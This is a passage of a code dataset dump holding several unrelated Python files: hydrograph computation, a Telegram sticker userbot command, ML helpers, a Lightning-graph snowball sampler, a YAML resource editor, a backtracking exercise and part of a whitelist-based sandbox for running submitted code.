peak.\n\n    Parameters\n    ----------\n    watercourse_length: float\n        The watercourse length [m].\n    slope_gradient\n        The slope gradient [%].\n    storm_duration\n        The storm duration [min].\n\n    Returns\n    -------\n    The time to peak [h].\n\n    Notes\n    -----\n    Computation of the time to peak from the time of concentration:\n    Tp = 0.5 * storm_duration + 0.6 * Tc\n\n    From: Ratnayaka, D. D., Brandt, M. J., & Johnson, M. (2009). Water supply. Butterworth-Heinemann.\n    \"\"\"\n    if watercourse_length <= 0:\n        raise ValueError(\"The watercourse length cannot be null or negative.\")\n    if slope_gradient < 0:\n        raise ValueError(\"The slope gradient cannot be negative.\")\n    if storm_duration <= 0:\n        raise ValueError(\"The storm duration cannot be null or negative.\")\n\n    return (storm_duration / 2 + 0.6 * 0.02 * math.pow(watercourse_length, 0.77) *\n            math.pow(slope_gradient, -.385)) / 60\n\n\ndef get_unit_peakflow(area, t_p):\n    \"\"\"\n    Compute the unit peakflow.\n\n    Parameters\n    ----------\n    area: float\n        The catchment area [km2].\n    t_p: float\n        The time to peak [h].\n\n    Returns\n    -------\n    The unit peakflow [m3/s].\n    \"\"\"\n    if area <= 0:\n        raise ValueError(\"The area be null or negative.\")\n    if t_p <= 0:\n        raise ValueError(\"The time to peak cannot be null or negative.\")\n\n    return 0.278 * area / t_p\n\n\ndef get_unit_hydrograph(q_up, t_p):\n    \"\"\"\n    Compute the unit hydrograph.\n\n    Parameters\n    ----------\n    q_up: float\n        The unit peakflow [m3/s].\n    t_p: float\n        The time to peak [h].\n\n    Returns\n    -------\n    The unit hydrograph discharge [m3/s].\n    The unit hydrograph time [h].\n    \"\"\"\n\n    q_r = np.arange(0, 3.1, 0.1)\n    t = q_r * t_p\n    q = np.concatenate((q_r[q_r <= 1] * q_up, q_up - ((q_r[q_r > 1] - 1) / 2 * q_up)))\n\n    return t, q\n\n\ndef get_unit_discharge(time_rain, q_up, t_p):\n    \"\"\"\n    Compute the unit discharge for the given time steps.\n\n    Parameters\n    ----------\n    time_rain: np.array\n        The time steps [h].\n    q_up: float\n        The unit peakflow [m3/s].\n    t_p: float\n        The time to peak [h].\n\n    Returns\n    -------\n    The unit discharge [m3/s].\n    \"\"\"\n    q_r = time_rain / t_p  # Corresponding Q/Qp\n    q = np.concatenate((q_r[q_r <= 1] * q_up, q_up - ((q_r[q_r > 1] - 1) / 2 * q_up)))\n    q[q < 0] = 0\n\n    return q\n\n\ndef get_hyetogram(timesteps_nb, rain_runoff, method='augur'):\n    \"\"\"\n    Compute the hietogram.\n\n    Parameters\n    ----------\n    timesteps_nb: int\n        The number of timesteps [h].\n    rain_runoff: float\n        The rainfall for runoff [mm].\n    method: str\n        The method to compute the hyetogram. Can be 'augur' or 'constant'.\n\n    Returns\n    -------\n    The hyetogram.\n    \"\"\"\n    repartition = np.array([])\n    if method == 'augur':\n        # Check that the time steps have a length that is a multiple of 4\n        if timesteps_nb % 4 != 0:\n            raise ValueError(\"The time steps number must be a multiple of 4.\")\n        factor = timesteps_nb // 4\n        # Copy each values the number of times it is needed (factor)\n        repartition = np.repeat(np.array([0.18, 0.46, 0.23, 0.13]), factor) / factor\n\n    elif method == 'constant':\n        # Repeat the same value for each time step\n        repartition = np.repeat(1 / timesteps_nb, timesteps_nb)\n\n    else:\n        raise ValueError(\"The method must be 'augur' or 'constant'.\")\n\n    return repartition * rain_runoff\n\n\ndef build_hydrograph_from_uh(time, q_uh, precip, precip_time_steps_nb, factor=0.9):\n    \"\"\"\n    Compute the hydrograph from the unit hydrographs\n\n    Parameters\n    ----------\n    time: np.array\n        The time steps [h].\n    q_uh: np.array\n        The unit hydrograph discharge [m3/s].\n    precip: float\n        The precipitation for runoff [mm].\n    precip_time_steps_nb: int\n        The number of time steps for the precipitation [h].\n    factor: float\n        The factor to apply to the hydrograph.\n\n    Returns\n    -------\n    The hydrograph [m3/s].\n    \"\"\"\n    hyetogram = get_hyetogram(precip_time_steps_nb, precip)\n    q_array = np.zeros((len(time), len(time)))\n    for i_time in range(len(time)):\n        for i_hyeto in range(len(hyetogram)):\n            if i_time + i_hyeto > len(time) - 1:\n                break\n            q_array[i_time + i_hyeto, i_time] = q_uh[i_time] * hyetogram[i_hyeto]\n\n    return np.sum(q_array, axis=1) * factor\n\n\ndef compute_hydrograph(catchment, soil_type, precipitation, cns, storm_duration=120):\n    \"\"\"\n    Compute the hydrograph according to the SCS CN method.\n    Adapted from the work of Omar Bellprat and Georg Heim\n\n    Parameters\n    ----------\n    catchment: Pandas dataframe\n        A Pandas dataframe containing the catchment properties. The fields needed are:\n        'area' [km2], land cover percentages ('cover_farmland', 'cover_pasture',\n        'cover_forest', 'cover_settlement', 'cover_bare', 'cover_cryo', 'cover_water'),\n        'length_watercourse' [m], mean slope gradient ('slope_gradient', [0 .. 1]).\n    soil_type: str\n        The soil type category. Options: 'A', 'B', 'C', 'D'\n    precipitation: Pandas dataframe\n        A Pandas dataframe containing the aggregated precipitation values [mm] for\n        different return periods ('p10', 'p30', 'p100')\n    cns: Pandas dataframe\n        The curve number parameters\n    storm_duration\n        The duration of the storm (minutes). Default: 120\n\n    Returns\n    -------\n    The hydrographs [m3/s] for the different return periods.\n    \"\"\"\n    # Parameterized rain covered area\n    area_rain = get_rain_area(catchment['area'])\n\n    # Compute the factor from the land covers\n    agd.check_land_cover_total(catchment)\n    cn_factor = compute_cn_factor(catchment, cns, soil_type)\n\n    # Precipitation relevant to runoff\n    rain_ret_period = {\n        'yr10': get_production(area_rain, precipitation['p10'], cn_factor),\n        'yr30': get_production(area_rain, precipitation['p30'], cn_factor),\n        'yr100': get_production(area_rain, precipitation['p100'], cn_factor)}\n\n    # Time from start of rain to maximum outflow [h]\n    t_p = get_time_to_peak(catchment['length_watercourse'],\n                           catchment['slope_gradient'],\n                           storm_duration)\n\n    # Unit peakflow [m^3 / s]\n    q_up = get_unit_peakflow(catchment['area'], t_p)\n\n    # Time\n    time = np.arange(0, 5, 0.1)\n\n    # Unit discharge\n    q_uh = get_unit_discharge(time, q_up, t_p)\n\n    # Precipitation time steps number\n    precip_time_steps_nb = len(time[(time > 0) & (time <= storm_duration / 60)])\n\n    # Hydrograph\n    hydrograph = np.zeros((len(time), len(rain_ret_period)))\n    for i_ret_period, k_ret_period in enumerate(rain_ret_period):\n        precip = rain_ret_period[k_ret_period]\n        hydrograph[:, i_ret_period] = build_hydrograph_from_uh(time, q_uh, precip,\n                                                               precip_time_steps_nb)\n\n    return time, hydrograph\n","repo_name":"pascalhorton/augur-calibration","sub_path":"augur/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":10942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"31427316556","text":"from telethon.errors import ChatSendInlineForbiddenError, ChatSendStickersForbiddenError\nfrom userbot.events import register\nfrom userbot import CMD_HELP, bot\n\n\n@register(outgoing=True, pattern=r\"^\\.frog (.*)\")\nasync def honkasays(event):\n    await event.edit(\"`Sedang Memproses, Mohon Tunggu Sebentar...`\")\n    text = event.pattern_match.group(1)\n    if not text:\n        return await event.edit(\"Beri Aku Bebeberapa Text, Contoh : `.honka space <text>`\")\n    try:\n        if not text.endswith(\".\"):\n            text = text + \".\"\n        if len(text) <= 9:\n            results = await bot.inline_query(\"honka_says_bot\", text)\n            await results[2].click(\n                event.chat_id,\n                silent=True,\n                hide_via=True,\n            )\n        elif len(text) >= 14:\n            results = await bot.inline_query(\"honka_says_bot\", text)\n            await results[0].click(\n                event.chat_id,\n                silent=True,\n                hide_via=True,\n            )\n        else:\n            results = await bot.inline_query(\"honka_says_bot\", text)\n            await results[1].click(\n                event.chat_id,\n                silent=True,\n                hide_via=True,\n            )\n        await event.delete()\n    except ChatSendInlineForbiddenError:\n        await event.edit(\"`Mohon Maaf, Saya Tidak Bisa Menggunakan Hal-Hal Sebaris Disini.`\")\n    except ChatSendStickersForbiddenError:\n        await event.edit(\"Mohon Maaf, Tidak Bisa Mengirim Sticker Disini.\")\n\n\nCMD_HELP.update(\n    {\n        \"honkasay\": \"𝘾𝙤𝙢𝙢𝙖𝙣𝙙: `.frog` space <text>\\\n    \\nPenggunaan: Menampilkan Pesan <text> di Sticker Animasi.\"\n    }\n)\n","repo_name":"brut69/Gemoy-Userbot","sub_path":"userbot/modules/honkasays.py","file_name":"honkasays.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"13545245817","text":"import functools\nimport operator\nfrom numpy import *\n\ndef convert2matrix(features, values, w=None, addbias=False):\n        length = min(len(features), len(values))\n        A = array(features[:length])\n        b = array(values[:length])\n        if addbias:\n            A = addones(A)\n        if w == None:\n            return A, b\n        w = array(w)\n        return A, b, w\n\n\ndef addones(X):\n    return c_[ones((len(X), 1)), X]\n\n\ndef feature_scaling(A, skip_first_col=True):\n    \"\"\"Feature scaling\"\"\"\n    if not isinstance(A, ndarray):\n        try:\n            A = array(A)\n        except:\n            return A\n\n    if not skip_first_col:\n        return mean_normalize(A)\n    B = A[:, 1:]\n    return column_stack([A[:,:1], mean_normalize(B)])\n\ndef mean_normalize(A):\n    return ((A - outer(ones(A.shape[0]) ,A.mean(axis=0)))\n            / outer(ones(A.shape[0]), (A.max(axis=0) - A.min(axis=0))))\n\ndef mdotl(*args):\n    return functools.reduce(dot, args)\n#def mdot(*args):\n#should be dot(a,dot(dot(b,c),d)) == mdot(a, ((b, c), d))\n\n# brutial use\ndef seperate_from_label(features, labels):\n    label_type = set(labels)\n    x = [[],[]]\n    for i in range(len(features)):\n        if labels[i] == 1:\n            x[0].append(features[i])\n        if labels[i] == 0 or labels[i] == -1:\n            x[1].append(features[i])\n    return x, len(label_type)\n\n\n# brutial use\ndef changelabel(labels, code_type='1-of-K_coding'):\n    for i in range(len(labels)):\n        if code_type == '1-of-K_coding':\n            if labels[i] == -1:\n                labels[i] = 0\n    return labels\n\n","repo_name":"blackbirds-ftd/mlalgorithm","sub_path":"utils/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14000654592","text":"\"\"\" code to sample a small subgraph of a given input graph via \nthe snowball sampling method.\nRef: https://arxiv.org/pdf/1308.5865.pdf \"\"\"\n\n\nimport matplotlib.pyplot as plt \n\nimport copy\nimport networkx as nx \nimport random \nfrom config import *\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nrandom.seed(SEED)\n\ndef sample_ngbr(graph, ngbr_set, v_set, k):\n    \"\"\" for each vertex in ngbr_set sample k random neighbors\n    in graph \"\"\"\n    \n    new_ngbr_set = set() \n    new_edge_set = set()\n\n    for v in ngbr_set:\n        ngbr = [u for u in graph.neighbors(v)]\n        if len(ngbr) > k:\n            ngbr_sample = set(random.sample(ngbr, k))\n        else:\n            ngbr_sample = set(ngbr)\n        new_ngbr_set = new_ngbr_set | ngbr_sample\n        new_edge_set = new_edge_set | {(u, v) for u in ngbr_sample}\n    \n    new_ngbr_set = new_ngbr_set - v_set\n    return new_ngbr_set, new_edge_set\n\n\n\ndef snowball_sample(graph, init_seed, max_sample_size=100, k=4):\n    \"\"\" sample a subgraph no more than max_sample_size starting with \n    vertices in init_seed \"\"\"\n\n    if len(graph.nodes()) <= max_sample_size:\n        return graph\n\n    assert len(init_seed) <= max_sample_size\n\n    v_set = copy.deepcopy(init_seed)\n    e_set = set()\n    old_v_set = v_set\n    old_e_set = e_set\n    ngbr_set = copy.deepcopy(init_seed)\n\n    while len(v_set) <= max_sample_size:\n        new_ngbr_set, new_edge_set = sample_ngbr(graph, ngbr_set, v_set, k)\n        old_v_set = v_set.copy()\n        old_e_set = e_set.copy()\n        v_set = v_set | new_ngbr_set\n        e_set = e_set | new_edge_set\n        ngbr_set = new_ngbr_set\n\n    sampled_graph = nx.Graph()\n    sampled_graph.add_nodes_from(list(old_v_set))\n    sampled_graph.add_edges_from(list(old_e_set))\n\n    for e in sampled_graph.edges():\n        sampled_graph.edges[e]['capacity'] = graph.edges[e]['capacity']\n\n    return sampled_graph\n\n\n\ndef prune_deg_one_nodes(sampled_graph):\n    \"\"\" prune out degree one nodes from graph \"\"\"\n    deg_one_nodes = []\n    for v in sampled_graph.nodes():\n        if sampled_graph.degree(v) == 1:\n            deg_one_nodes.append(v)\n\n    for v in deg_one_nodes:\n        sampled_graph.remove_node(v)\n\n    return sampled_graph\n\n\n\ndef write_capacities_to_file(filename, capacities):\n    with open(filename, \"w+\") as f:\n        f.write(\"values\\n\")\n        for c in capacities:\n            f.write(str(c) + \"\\n\")\n\n\n#lnd_file_list = [\"lnd_dec4_2018\", \"lnd_dec28_2018\"]\n#lnd_file_list = [\"lnd_july15_2019\"]\nlnd_file_list = [\"clightning_oct5_2020\"]\nfor filename in lnd_file_list: \n    graph = nx.read_edgelist(LND_FILE_PATH + filename + \".edgelist\")\n\n    rename_dict = {v: int(str(v)) for v in graph.nodes()}\n    graph = nx.relabel_nodes(graph, rename_dict)\n\n    # convert all capacities to EUROS\n    count = 0\n    for e in graph.edges():\n        edge_cap = round(graph.edges[e]['capacity'] / SAT_TO_EUR)\n        if edge_cap < 10:\n            edge_cap = 10\n            count += 1\n        graph.edges[e]['capacity'] = edge_cap\n    print(\"massaged\", count, \"out of\", len(graph.edges()), \"edges\")\n    \n    init_seed = {784, 549, 989}\n\n    \"\"\" max_sample_size is the maximum size of sampled graph. Returned graph \n    might be smaller than that. k is how many neighbors to sample (by each node)\n    in each round \"\"\"\n    sampled_graph = snowball_sample(graph, init_seed, max_sample_size=1000, k=12)\n\n    \"\"\" prune out degree one nodes until there are no degree one nodes \"\"\"\n    graph_size = len(sampled_graph.nodes()) + 1\n    while graph_size > len(sampled_graph.nodes()):\n        graph_size = len(sampled_graph.nodes())\n        sampled_graph = prune_deg_one_nodes(sampled_graph)\n\n    \n    \"\"\" make all node numbers start from 0 \"\"\"\n    numbered_graph = nx.convert_node_labels_to_integers(sampled_graph)\n    print(\"graph size: \", numbered_graph.number_of_nodes(), \" nodes\" , \\\n            numbered_graph.number_of_edges(), \" edges\")\n\n    nx.write_edgelist(numbered_graph, LND_FILE_PATH + filename + \"_reducedsize\" + \".edgelist\")\n        \n    capacities = nx.get_edge_attributes(sampled_graph, 'capacity')\n    capacities = [float(c) for c in list(capacities.values())]\n    write_capacities_to_file(filename + \"_data_min25\", capacities)\n    #plt.hist(capacities, bins=100, normed=True, cumulative=True)\n    print(np.mean(np.array(capacities)), \"stddev\" , np.std(np.array(capacities),), min(capacities), \\\n            np.median(np.array(capacities)), np.percentile(np.array(capacities), 25))\n    #plt.show()\n","repo_name":"spider-pcn/spider_omnet","sub_path":"scripts/snowball.py","file_name":"snowball.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"38"}
{"seq_id":"14416138605","text":"import yaml\nimport sys\n\ndef meta_constructor(loader,node):\n    value = loader.construct_mapping(node)\n    return value\n\nyaml.add_constructor(u'tag:yaml.org,2002:Orchestrator.Messages.OrchestratorResource',meta_constructor)\n\ndef addNetworkResource(nr):\n    f = open('resource.yaml','r')\n    yamlObj = yaml.load(f)\n    f.close()\n    resYaml = yamlObj\n    nwResources= yamlObj['NetworkResources']\n    nwResources.append(nr)\n    resYaml['NetworkResources'] = nwResources\n    g = open('resource.yaml','w')\n    yaml.dump(resYaml,g)\n    g.close()\n    print(resYaml)\n\ndef addServiceResource(sr):\n    f = open('resource.yaml','r')\n    yamlObj = yaml.load(f)\n    f.close()\n    resYaml = yamlObj\n    svResources= yamlObj['ServiceResources']\n    svResources.append(sr)\n    resYaml['ServiceResources'] = svResources\n    g = open('resource.yaml','w')\n    yaml.dump(resYaml,g)\n    g.close()\n    print(resYaml)\n\ndef delNetworkResource(nr):\n    f = open('resource.yaml','r')\n    yamlObj = yaml.load(f)\n    f.close()\n    resYaml = yamlObj\n    nwResources= yamlObj['NetworkResources']\n    i = nwResources.index(nr)\n    print(\"Element found at index\",str(i))\n    nwResources.pop(i)\n    resYaml['NetworkResources'] = nwResources\n    g = open('resource.yaml','w')\n    yaml.dump(resYaml,g)\n    g.close()\n    print(resYaml)\n\ndef delServiceResource(sr):\n    f = open('resource.yaml','r')\n    yamlObj = yaml.load(f)\n    f.close()\n    resYaml = yamlObj\n    svResources= yamlObj['ServiceResources']\n    i = svResources.index(sr)\n    print(\"Element found at index\",str(i))\n    svResources.pop(i)\n    resYaml['ServiceResources'] = svResources\n    g = open('resource.yaml','w')\n    yaml.dump(resYaml,g)\n    g.close()\n    print(resYaml)\n\n\nif __name__=='__main__':\n   ## print(sys.argv[0])  Just the name of the python file\n   ## print(len(sys.argv)) Including name of file\n   #delNetworkResource(\"Nl2\")\n   resrc = \"\"\n   for i in range(len(sys.argv)-3):\n       resrc += sys.argv[i+3]\n       resrc += \"\"\n   if(sys.argv[1] == '--add') :\n       if(sys.argv[2] == '--network') :\n        print('Adding Network Resource :',resrc)\n        addNetworkResource(resrc)\n       elif(sys.argv[2] == '--service') :\n        print('Adding Service Resource :',resrc)\n        addServiceResource(resrc)\n   elif(sys.argv[1] == '--del') :\n       if(sys.argv[2] == '--network') :\n        print('Deleting Network Resource :',resrc)\n        delNetworkResource(resrc)\n       elif(sys.argv[2] == '--service') :\n        print('Deleting Service Resource :',resrc)\n        delServiceResource(resrc)\n\n\n\n","repo_name":"devannair777/DistributedNFV-ResourceSynchronization","sub_path":"Validator/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22395299992","text":"N, M = map(int, input().split())\nnumbers = [i for i in range(1, N+1)]\ncheck = [False] * N \narr = []\n\ndef backtracking(depth):\n    if depth == M:\n        print(*arr)\n        return \n    for i in range(0, N):\n        if check[i]:\n            continue \n        check[i] = True \n        arr.append(numbers[i])\n        backtracking(depth + 1)\n        arr.pop() \n        for j in range(i + 1, N):\n            check[j] = False \n\nbacktracking(0)\n","repo_name":"scl2589/Algorithm_problem_solving","sub_path":"Baekjoon/15650_N과 M (2)/15650_N과 M (2).py","file_name":"15650_N과 M (2).py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11906360626","text":"#! /usr/bin/env python3\n\"\"\"\nExecute a Python module and save some properties about it\n\n@author: chilowi at u-pem.fr\n\"\"\"\n\nfrom .codemetrics import CodeMetrics\nfrom .memoryfiles import VirtualFileManager\nfrom steval.utils import PrefixMapping, limited_sys, get_traceback_str, update_dict\n\nimport time, ast, sys, io, resource\nfrom .importinfo import get_transitive_import_dependencies, RemoteDependency\nfrom collections import namedtuple, OrderedDict\n\nglobalvars = globals\n\nfrom ctypes import pythonapi, POINTER, py_object\n\n_get_dict = pythonapi._PyObject_GetDictPtr\n_get_dict.restype = POINTER(py_object)\n_get_dict.argtypes = [py_object]\ndel pythonapi, POINTER, py_object\n\ndef dictionary_of(ob):\n\tdptr = _get_dict(ob)\n\treturn dptr.contents.value\n\t\n\t\nclass ForeignCodeException(Exception):\n\t\"\"\"An exeption due to foreign code\"\"\"\n\tdef __init__(self, cause, trace):\n\t\tself.cause = cause\n\t\tself.trace = trace\n\t@property\n\tdef verbose_traceback(self):\n\t\treturn get_traceback_str(self.trace)\n\t@classmethod\n\tdef create(cls):\n\t\t(type, value, traceback) = sys.exc_info()\n\t\treturn cls(value, traceback)\n\nclass ParsingException(ForeignCodeException):\n\t@property\n\tdef explanation(self):\n\t\tif isinstance(self.cause, SyntaxError):\n\t\t\treturn \"{} detected at line {} character {}: {}\".format(type(self.cause).__name__, self.cause.lineno, self.cause.offset, self.cause.text)\n\t\telse:\n\t\t\treturn \"Code parsing failed with the exception {}\\n\\nTraceback:\\n{}\".format(self.cause, self.verbose_traceback)\n\tdef __str__(self):\n\t\treturn self.explanation\n\t\t\nclass FailedImportException(ForeignCodeException):\n\tdef __init__(self, rejected_imports):\n\t\tsuper(FailedImportException, self).__init__(None, None)\n\t\tself.rejected_imports = rejected_imports\n\t@property\n\tdef explanation(self):\n\t\treturn \"The following imported modules were rejected (due to unavailability or blacklisting): {}\".format(\",\".join(map(str, self.rejected_imports)))\n\tdef __str__(self):\n\t\treturn self.explanation\n\t\nclass ExecutionException(ForeignCodeException):\n\t@property\n\tdef explanation(self):\n\t\treturn \"Code execution failed with the exception {}\\n\\nTraceback:\\n{}\".format(self.cause, self.verbose_traceback)\n\tdef __str__(self):\n\t\treturn self.explanation\n\nclass ExecutionResult(object):\n\tdef __init__(self):\n\t\tself.executed = False\n\t\tself.result = None # could be also an exception\n\t\tself.globals = None\n\t\tself.stdout = None\n\t\tself.stderr = None\n\t\tself.handled_files = None\n\t\tself._start_time = None\n\tdef _signal_parse_error(self, error):\n\t\tself.exception = ParsingException(error)\n\tdef _start(self):\n\t\tself._start_time = time.process_time()\n\tdef _end(self, result, globals=None):\n\t\tself.executed = True\n\t\tself.time = time.process_time() - self._start_time if self._start_time else None\n\t\tself.result = result\n\t\tself.globals = globals\n\tdef __repr__(self):\n\t\treturn \"result={}, exception={}, stdout={}, stderr={}, files={}, time={}\".format(self.result, self.exception, self.stdout, self.stderr, self.handled_files, self.time)\n\tdef to_dict(self):\n\t\treturn {\"result\": self.result, \"globals\": self.globals, \"stdout\": self.stdout, \"stderr\": self.stderr, \"files\": self.handled_files, \"time\": self.time}\n\t\t\nclass ExecutionEnvironment(object):\n\tdef __init__(self):\n\t\tself.result = ExecutionResult()\n\t\tself.file_manager = VirtualFileManager()\n\t\tself._redirect_stdfiles = False\n\tdef _execute(self):\n\t\traise NotImplementedError()\n\tdef execute(self):\n\t\tstdout, stderr = (sys.stdout, sys.stderr)\n\t\ttry:\n\t\t\tif self._redirect_stdfiles:\n\t\t\t\tsys.stdout, sys.stderr = (io.StringIO(), io.StringIO())\n\t\t\tself._execute()\n\t\t\tif self._redirect_stdfiles:\n\t\t\t\tself.result.stdout = sys.stdout.getvalue().strip()\n\t\t\t\tself.result.stderr = sys.stderr.getvalue().strip()\n\t\t\t\tself.result.handled_files = {k: v.getvalue() for (k, v) in self.file_manager.created_files.items() }\n\t\t\treturn self.result\n\t\tfinally:\n\t\t\tsys.stdout, sys.stderr = (stdout, stderr) # restore old stdout and stderr\n\t\t\n\t\nclass ExecutionProfile(object):\n\t\"\"\"A restricted Python execution profile based on bultins and module whitelists\"\"\"\n\tdef __init__(self):\n\t\tself._builtin_import = __import__\n\tdef get_builtins_whitelist(self):\n\t\t\"\"\"Return a set of authorized builtins\"\"\"\n\t\traise NotImplementedError()\n\tdef get_modified_builtins(self):\n\t\t\"\"\"Return rewritten builtins limiting security risks\"\"\"\n\t\treturn {}\n\tdef get_modules_whitelist(self):\n\t\t\"\"\"Return a set of authorized modules (as strings)\"\"\"\n\t\traise NotImplementedError()\n\tdef get_modified_modules(self):\n\t\t\"\"\"Return the modules that have been modified to limit permissions\"\"\"\n\t\treturn {}\n\tdef get_available_files(self):\n\t\treturn frozenset()\n\tdef _import_interceptor(self, context, name, globals=None, locals=None, fromlist=(), level=0):\n\t\t\"\"\"Implementation of an import interceptor\"\"\"\n\t\tif name in self.get_modified_modules():\n\t\t\treturn self.get_modified_modules()[name]\n\t\telif name not in self.get_modules_whitelist():\n\t\t\tif name in context.imported:\n\t\t\t\treturn context.imported[name]\n\t\t\tname2 = name.replace(\".\", \"/\")\n\t\t\tif name2 in context.file_manager.supplied_files:\n\t\t\t\t# special import from the supplied files\n\t\t\t\twith context.file_manager.open(name, \"r\") as f:\n\t\t\t\t\tmodule = object()\n\t\t\t\t\texec(f.read(), module.__dict__)\n\t\t\t\t\tcontext.imported[name] = module\n\t\t\t\t\treturn module\n\t\t\telse:\n\t\t\t\traise ImportError(\"The module {} is not whitelisted\".format(name))\n\t\telse:\n\t\t\treturn self._builtin_import(name, globals, locals, fromlist, level)\n\tdef make_builtins(self, file_manager):\n\t\tused = filter(lambda x: x in self.get_builtins_whitelist(), __builtins__)\n\t\tmodified = self.get_modified_builtins()\n\t\tnew_builtins = {k: modified[k] if k in modified else __builtins__[k] for k in used}\n\t\tclass ImportContext(object):\n\t\t\tdef __init__(self):\n\t\t\t\tself.file_manager = file_manager\n\t\t\t\tself.imported = {}\n\t\timport_context = ImportContext()\n\t\tdef imp(name, globals=None, locals=None, fromlist=(), level=0):\n\t\t\treturn self._import_interceptor(import_context, name, globals, locals, fromlist, level)\n\t\tnew_builtins[\"__import__\"] = imp\n\t\t# Reduce introspection capabilities\n\t\tfrom types import FunctionType\n\t\ttype2 = dictionary_of(type)\n\t\tif \"__bases__\" in type2: type2.pop(\"__bases__\") # to avoid climbing to the ancestor of a class\n\t\tif \"__subclasses__\" in type2: type2.pop(\"__subclasses__\") # to avoid descending to the subclasses\n\t\tif \"func_code\" in dictionary_of(FunctionType): dictionary_of(FunctionType).pop(\"func_code\")\n\t\t# add a specially crafted open function that preload files and store them in memory\n\t\tnew_builtins[\"open\"] = file_manager.open\n\t\treturn new_builtins\n\tdef evaluate(self, code, file_manager=None, globals=None):\n\t\t\"\"\"Evaluate some code using the current profile\"\"\"\n\t\tg = dict(globals) if globals else {} # copy the globals dictionary to not modify it in place\n\t\tg[\"__builtins__\"] = self.make_builtins(file_manager)\n\t\treturn eval(code, globals=g)\n\t\n\t\t\nclass DefaultExecutionProfile(ExecutionProfile):\n\t\"\"\"A default implementation of an execution profile with reasonable settings\n\tto try to limit execution risks\"\"\"\n\tdef __init__(self):\n\t\tsuper(DefaultExecutionProfile, self).__init__()\n\t\tself.builtins_whitelist = set([\n\t\t\t\"abs\", \"all\", \"any\", \"ascii\", \"bin\", \"bool\", \"bytearray\", \"bytes\", \"callable\", \"chr\", \"classmethod\",\n\t\t\t\"complex\", \"delattr\", \"dict\", \"divmod\", \"enumerate\", \"filter\", \"float\", \"format\", \"frozenset\", \"getattr\",\n\t\t\t\"globals\", \"hasattr\", \"hash\", \"help\", \"hex\", \"id\", \"input\", \"int\", \"isinstance\", \"issubclass\", \"iter\",\n\t\t\t\"len\", \"list\", \"locals\", \"map\", \"memoryview\", \"min\", \"next\", \"object\", \"oct\", \"open\", \"ord\", \"pow\",\n\t\t\t\"print\", \"property\", \"range\", \"repr\", \"reversed\", \"round\", \"set\", \"setattr\", \"slice\", \"sorted\",\n\t\t\t\"staticmethod\", \"str\", \"sum\", \"super\", \"tuple\", \"type\", \"vars\", \"zip\",\n\t\t\t\"None\", \"NotImplemented\", \"Ellipsis\",\n\t\t\t\"Exception\", \"RuntimeError\", \"SyntaxError\", \"ZeroDivisionError\", \"TypeError\",\n\t\t\t\"IndexError\", \"NameError\", \"AssertionError\", \"ImportError\", \"OverflowError\", \"LookpError\",\n\t\t\t\"IOError\", \"FloatingPointError\", \"ValueError\", \"UnicodeError\", \"ArithmeticError\", \"UnboundLocalError\",\n\t\t\t\"IndentationError\", \"UnicodeEncodeError\", \"KeyError\",\n\t\t\t\"sys\"])\n\t\tself.modules_whitelist = set([\n\t\t\t\"abc\", \"array\", \"base64\", \"binascii\", \"binhex\", \"bisect\",\n\t\t\t\"calendar\", \"cmath\", \"collections\", \"copy\", \"datetime\", \"decimal\", \n\t\t\t\"difflib\", \"encodings\", \"fractions\", \"functools\", \"hashlib\", \"heapq\",\n\t\t\t\"math\", \"numbers\", \"operator\", \"queue\", \"random\", \"re\", \"string\", \"time\"])\n\t\tself.modified_modules = {\"sys\": limited_sys}\n\t\tself.file_manager = VirtualFileManager()\n\tdef get_builtins_whitelist(self):\n\t\treturn self.builtins_whitelist\n\tdef get_modules_whitelist(self):\n\t\treturn self.modules_whitelist\n\tdef get_modified_modules(self):\n\t\treturn self.modified_modules\n\t\t\t\n\t\t\nclass CodeExecutionEnvironment(ExecutionEnvironment):\n\t\"\"\"Execute top-level Python code\"\"\"\n\t@classmethod\n\tdef from_file(self, filepath):\n\t\twith open(filepath, \"r\") as f:\n\t\t\treturn CodeExecutionEnvironemnt(f.read())\n\tdef __init__(self, code, basedir=\".\", profile=DefaultExecutionProfile(), globals=None):\n\t\tsuper(CodeExecutionEnvironment, self).__init__()\n\t\tself.code = code\n\t\tself.profile = profile\n\t\tself.basedir = basedir\n\t\tself.ast = None\n\t\tself.metrics = None\n\t\tself.globals = {} if globals is None else globals\n\t\tself.globals[\"__builtins__\"] = profile.make_builtins(self.file_manager)\n\t\tself.parsed = False # parsed state\n\tdef parse(self):\n\t\ttry:\n\t\t\tself.ast = ast.parse(self.code)\n\t\texcept:\n\t\t\tself.result._end(ParsingException.create())\n\t\telse:\n\t\t\tself.metrics = CodeMetrics(self.code, self.ast)\n\t\t\timports = get_transitive_import_dependencies(self.code, paths=(\".\"))\n\t\t\tremote_imports = filter(lambda x: isinstance(x, RemoteDependency), imports)\n\t\t\twhitelisted_prefixes = PrefixMapping(map(lambda x: x.split(\".\"), self.profile.get_modules_whitelist()))\n\t\t\trejected_imports = frozenset(filter(lambda x: len(whitelisted_prefixes[x.module.split(\".\")]) == 0, remote_imports))\n\t\t\tself.rejected_imports = rejected_imports\n\t\t\tif not rejected_imports:\n\t\t\t\tfor remote_import in remote_imports:\n\t\t\t\t\t__import__(remote_import)\n\t\t\telse:\n\t\t\t\tself.result._end(FailedImportException(rejected_imports))\n\t\tself.parsed = True\n\t@property\n\tdef valid(self):\n\t\treturn self.parsed is True and not isinstance(self.result.result, ForeignCodeException)\n\tdef _execute(self):\n\t\tif not self.parsed:\n\t\t\tself.parse()\n\t\tif self.valid:\n\t\t\tg = dict(self.globals)\n\t\t\tself.result._start()\n\t\t\ttry:\n\t\t\t\texec(self.code, g)\n\t\t\texcept Exception as 